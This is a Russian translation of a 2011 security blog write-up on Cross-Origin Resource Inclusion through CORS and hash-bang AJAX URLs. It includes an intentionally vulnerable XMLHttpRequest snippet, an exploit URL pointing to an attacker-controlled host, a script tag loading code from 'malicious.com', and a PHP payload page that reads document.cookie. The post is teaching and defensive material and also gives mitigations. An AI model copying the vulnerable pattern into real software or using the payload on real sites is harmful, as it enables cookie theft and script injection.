Эта статья была первоначально опубликована на blog.isis.poly.edu 23 июня 2011 г.

В этой статье обсуждается новый класс ошибок, представленный в XMLHttpRequest Level 2, как проявляется ошибка и некоторые решения различных проблем.

HTML5 сегодня является горячей темой в веб-безопасности. В основном из-за того, насколько он обширен по сравнению со старыми веб-спецификациями, а также потому, что он вводит новые концепции, которые веб-разработчики могут неправильно понять.

Сначала несколько понятий.

Асинхронный JavaScript и XML (AJAX) были введены в веб-платформу как простой способ выполнения HTTP-запросов из JavaScript. Это позволяет динамически обновлять части веб-страницы без перезагрузки всей страницы. Первоначально AJAX использовался только для постоянного обновления контента. Сегодня AJAX используется для всего.

Тенденции дизайна Web 2.0 резко изменились за последние несколько лет. Я не претендую на звание веб-дизайнера, но я знаю, как разрабатывать код для Интернета, и могу делать простые наблюдения. Когда вы заходите на кучу веб-сайтов и видите одинаковые функции на всех из них, это называется тенденцией. Вот одна конкретная тенденция, которую я наблюдал за последние несколько месяцев.

Facebook и Twitter начали использовать URL-адреса, которые выглядят следующим образом:

https://www.facebook.com/#!/TheJulianCohen
https://twitter.com/#!/HockeyInJune/lists/memberships

Если мы подробнее рассмотрим, как используется этот URL-адрес, мы увидим, что эти веб-сайты сначала загружают общую страницу, содержащую некоторый JavaScript. Затем эти страницы используют запрос AJAX для извлечения содержимого, характерного для страницы, в /TheJulianCohen и /HockeyInJune/lists/memberships; часть URL-адреса, которая следует непосредственно за #!.

Мы можем назвать это примером «неправильного» использования AJAX, потому что нет необходимости вытягивать уникальный контент после того, как страница была запрошена. Есть много других способов реализации этого, не связанных с асинхронным запросом. Неясно, была ли эта функциональность введена как повышение производительности или артефакт плохо спроектированных фреймворков. Я верю, что это всегда будет приводить к снижению производительности, но с этими новыми быстрыми движками JavaScript трудно сказать однозначно.

Техническое примечание. С тех пор эта функция была удалена с этих веб-сайтов из-за проблем с безопасностью, которые мы обсудим ниже.

Same Origin Policy (SOP) предписывает, чтобы скрипты на стороне клиента ограничивались исходным сайтом, это означает, что скрипт с одного сайта не может влиять на любые другие объекты, принадлежащие другому. SOP уже давно реализован в современных браузерах, но впервые SOP был стандартизирован в XMLHttpRequest Level 1. XMLHttpRequest Level 1 требует, чтобы XMLHttpRequest() следовал SOP.

Новая функциональность HTML5.

Совместное использование ресурсов между источниками (CORS) — это новая функциональность XMLHttpRequest уровня 2, которая позволяет XMLHttpRequest() выполнять запросы между источниками, что напрямую нарушает ограничение XMLHttpRequest уровня 1 SOP. Это сделано для дополнительной функциональности, чтобы разработчики могли асинхронно извлекать контент из других доменов. Спецификация предписывает, что совместное использование ресурсов между источниками проверяет удаленный хост, чтобы увидеть, разрешает ли он запросы между источниками, и это будет основной причиной введенных проблем безопасности.

Теперь, поскольку сценариям разрешено взаимодействовать между доменами, нам нужно переопределить политику единого происхождения.

  • S̶c̶r̶i̶p̶t̶s̶ ̶a̶r̶e̶ ̶c̶o̶n̶f̶i̶n̶e̶d̶ ̶t̶o̶ ̶t̶h̶e̶i̶r̶ ̶o̶r̶i̶g̶i̶n̶a̶t̶i̶n̶g̶ ̶s̶i̶t̶e̶
  • Документы ограничены исходным сайтом

Что мы понимаем под документами? Каждый объект DOM имеет родительский объект Document. Скрипты в одном объекте Document не могут взаимодействовать со скриптами из другого объекта Document. Звучит неплохо, но где проходит эта черта?

<!DOCTYPE html>
<html>
    <head>
        <script src="http://malicious.com/bad.js" />
    </head>
</html>

Эта страница находится по адресу safe.com

В приведенном выше примере сценарий, созданный в malicious.com, находится в объекте Document safe.com. Вредоносный код JavaScript, существующий в bad.js, может повлиять на элементы на странице safe.com. Спецификация требует, чтобы разработчик удостоверился, что только законные стороны имеют доступ к объекту Document. Вы можете сразу же прийти к выводу, что очистка пользовательского ввода исправит эту ситуацию. Вместо того, чтобы предполагать, что приведенный выше пример был вызван уязвимостью межсайтового скриптинга, вы лучше поймете возможности, если посчитаете, что это было вызвано вредоносной рекламой.

Итак, вы можете подумать, что политика того же происхождения уже не так хорошо работает. Но SOP по-прежнему хорошо работает для Frames, Windows и Cookies, которые принадлежат собственному объекту Document их домена.

Общий доступ к ресурсам из разных источников

Заглянем на наш демонстрационный сайт.

Техническое примечание. Эта демонстрация была протестирована в Google Chrome, но должна работать в любом браузере, который правильно реализует эту часть спецификации HTML5.

Ниже приведен фрагмент уязвимого JavaScript, который мы используем на нашем примере веб-сайта.

function xhr() {
  var i = document.location.hash.indexOf("#!");
  if (i == 0) {
    var XHr;
    XHr = new XMLHttpRequest();
    XHr.onreadystatechange=function() {
      if (XHr.readyState == 4) {
        document.getElementById("go").innerHTML = XHr.responseText;
      }
    }
    XHr.open("GET", document.location.hash.substr(2), true);
    XHr.send(null);
  }
}

Этот веб-сайт реализует ряд функций AJAX, включая совместное использование ресурсов между источниками. Каждая кнопка добавит другую строку в конец URL-адреса и перезагрузит страницу. Когда страница перезагружается, строка после #! в URL-адресе будет передана в XMLHttpRequest.open().

Кнопка Go Web 2.0! запросит безопасную страницу того же происхождения. Это ожидаемая функциональность. Кнопка Go Semi-Malicious! запросит вредоносную страницу того же происхождения. Это ожидаемая функциональность. Кнопка Go Cross-Origin! запросит безопасную страницу перекрестного происхождения. Это новый, ранее неожиданный функционал.

Включение ресурсов из разных источников

Чтобы использовать эту ошибку, замените URL вредоносной страницы после #!.

http://isis.poly.edu/~hake/cori/#!http://128.238.66.202/cori/

Анализ эксплойтов

<?php
    header('Access-Control-Allow-Origin: *');
?>
Cross-Origin Resource Inclusion
<div></div>
<img src="http://upload.wikimedia.org/wikipedia/commons/thumb/3/39/Hazard_T.svg/500px-Hazard_T.svg.png" onload="alert(document.cookie);" onerror="alert(1);" />

Это index.php по адресу http://128.238.66.202/cori/

Все, что нам нужно, чтобы позволить уязвимому веб-сайту сделать перекрестный запрос к нашей вредоносной странице, — это установить один заголовок ответа; Access-Control-Allow-Origin: *. Обратите внимание, что это установлено на контролируемом нами кросс-сайте. Когда вы перейдете по указанному выше URL-адресу, вы увидите, что вредоносная страница контролирует файл cookie пользователя по адресу isis.poly.edu.

Анализ ошибок

XHr.open("GET", document.location.hash.substr(2), true);

Здесь злоумышленник получает контроль над параметром url в XMLHttpRequest.open().

Анализ уязвимостей

Теперь, если вы уделяли очень пристальное внимание, вы заметите, что происходит небольшое махание руками. Есть несколько технических деталей о владении документом, которые мы не обсуждали и которые были жизненно важны для нашего эксплойта.

Объекты DOM с разными источниками принадлежат разным объектам Document. Когда мы впервые отправляем асинхронный запрос, объекты DOM в ответе являются дочерними объектами объекта Document с разными источниками. На данный момент уязвимый веб-сайт защищен от вредоносного кода JavaScript в объекте Document из разных источников.

Передача объектов DOM через innerHTML изменяет родительский объект Document этих объектов. Существует внутреннее свойство ownerDocument, которое есть у каждого объекта DOM и доступно только в браузере. Это свойство определяет, какому родительскому объекту Document принадлежит объект DOM. Когда объект DOM передается через innerHTML объекта, принадлежащего другому родительскому объекту Document, его свойство ownerDocument изменяется, чтобы соответствовать родительскому объекту Document его нового родительского объекта DOM.

Примечание о захвате файлов cookie

Злоумышленник смог украсть файл cookie isis.poly.edu, поскольку вредоносный удаленный ресурс http://128.238.66.202/cori/ был внедрен в дерево DOM isis.poly.edu. В этой демонстрации файлы cookie не отправлялись из других источников. Хотя CORS допускает эту функциональность для проверки подлинности между источниками, устанавливая заголовок запроса; Access-Control-Allow-Credentials: true.

Поиск ошибок

Найдите все вызовы open() в объектах XMLHttpRequest() с помощью статического или динамического анализа и посмотрите, можно ли изменить параметр url. Если это жестко закодированная строка, вам не повезло.

Снижение уязвимости

  • Предотвратите захват файлов cookie в JavaScript, установив флаг HttpOnly.
  • Предотвратите все запросы из разных источников, установив для Access-Control-Allow-Originheader значение null.

Анализ спецификации

До сих пор мы винили в этих ошибках программистов, но, возможно, мы можем переложить часть вины на составителей спецификаций.

Наиболее очевидная проблема заключается в том, что сайт, который делает запрос на перекрестное происхождение, никогда явно не допускает такого рода вещей. Как мы видели с Adobe’scrossdomain.xml, если сайту-источнику разрешено выбирать, к каким доменам разрешено отправлять запросы из разных источников, меньше шансов, что веб-сайт будет уязвим для включения ресурсов из разных источников. Это можно указать в заголовке точно так же, как удаленный сайт проверяет, может ли к нему быть отправлен запрос из другого источника. Но мы не хотим менять авторитетный сервер в этом отношении, потому что могут быть причины, по которым удаленному сайту необходимо проверить, могут ли к нему быть отправлены запросы из разных источников. Однако не исключено, что и запрашивающая сторона, и запрашиваемые сайты проверят, разрешены ли запросы из разных источников для доменов друг друга. Это эффективно снизит эту уязвимость.

Если это невозможно, спецификация может потребовать, чтобы все браузеры обрабатывали отсутствие заголовка Access-Control-Allow-Origin так, как если бы он был установлен на null, а это означает, что по умолчанию никакие запросы из разных источников не будут разрешены с любого веб-сайта.

Если это слишком ограничительно, в спецификацию можно добавить положения, запрещающие потенциально опасным объектам DOM (например, объектам script) становиться дочерними объектами объекта Document с другим доменом через innerHTML или другими способами.

Связанные ресурсы

Взлом Facebook с помощью HTML5
Как загрузить произвольное содержимое файла между доменами